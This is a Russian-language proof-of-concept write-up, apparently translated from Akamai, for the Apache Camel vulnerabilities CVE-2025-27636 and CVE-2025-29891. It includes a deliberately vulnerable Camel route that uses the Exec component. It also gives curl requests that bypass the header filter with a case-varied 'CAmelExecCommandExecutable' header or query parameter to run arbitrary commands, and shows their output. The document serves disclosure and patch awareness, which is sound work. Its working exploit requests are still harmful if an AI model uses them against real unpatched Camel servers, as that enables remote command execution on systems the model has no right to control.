
Доказательство концепции, демонстрирующее удалённое выполнение кода в Apache Camel путём обхода фильтрации заголовков и параметров (CVE-2025-27636, CVE-2025-29891) через компонент Exec.
CVE-2025–27636 и CVE-2025-29891 — это уязвимости в Apache Camel, которые затрагивают версии: 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3. Эксплуатация этих уязвимостей может позволить злоумышленникам выполнять внутренние методы Camel.
Далее представлен пример уязвимого приложения, которое использует компонент Camel Exec, который может быть использован для достижения RCE. Другие компоненты Camel могут быть использованы аналогичным образом.
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
Приложение предоставляет HTTP-эндпоинт, предназначенный для выполнения команды "whoami" и возврата результата клиенту. Компонент Camel "Exec" настроен на выполнение команды, которая статически определена в коде.
// recieve request from client and pass it to the "Exec" camel component
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Received request from client")
// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Command Output: ${body}");
Несмотря на то, что команда статична, мы можем перезаписать её, передав заголовок CamelExecCommandExecutable, который (как указано в документации) переопределяет статический URI. Apache Camel должен фильтровать такие заголовки, но из-за некорректной обработки регистра передача заголовка "CAmelExecCommandExecutable" обходит фильтр.
Выполнение следующей команды переопределит статическую команду "whoami" и вместо неё выполнит произвольную команду:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
Мы также можем передавать аргументы, указав заголовок CamelExecCommandArgs:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CAmelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
Если мы передадим "нормальный" заголовок, мы заметим, что эксплуатация не удается и статическая команда "whoami" выполняется нормально:
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
Изначально считалось, что единственным вектором эксплуатации были заголовки запросов. Однако команда исследователей безопасности Akamai сообщила о дополнительном векторе команде разработчиков Apache Camel, что привело к присвоению CVE-2025-29891. Эта проблема проистекает из того же дефекта фильтрации, что и CVE-2025-27636, и позволяет вызывать внутренние методы через параметры запросов.
В следующем примере мы видим, что указание параметра запроса “CAmelExecCommandExecutable” приводит к произвольному выполнению команды — так же, как и исходный вектор заголовка:
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
Исходный патч, реализованный для исправления CVE-2025-27636, также решает эту проблему, поэтому приложения, использующие актуальные версии Apache Camel, не уязвимы к этому вектору эксплуатации.
Авторское право 2025 Akamai Technologies Inc.
Лицензировано на условиях Apache License, Version 2.0 ("Лицензия"); вы не можете использовать этот файл иначе как в соответствии с Лицензией. Вы можете получить копию Лицензии по адресу
http://www.apache.org/licenses/LICENSE-2.0
Если это не требуется применимым законодательством или не согласовано в письменной форме, программное обеспечение распространяемое по Лицензии, распространяется на основе "AS IS" BASIS, БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ И УСЛОВИЙ, явных или подразумеваемых. См. Лицензию для получения информации о разрешениях и ограничениях по Лицензии.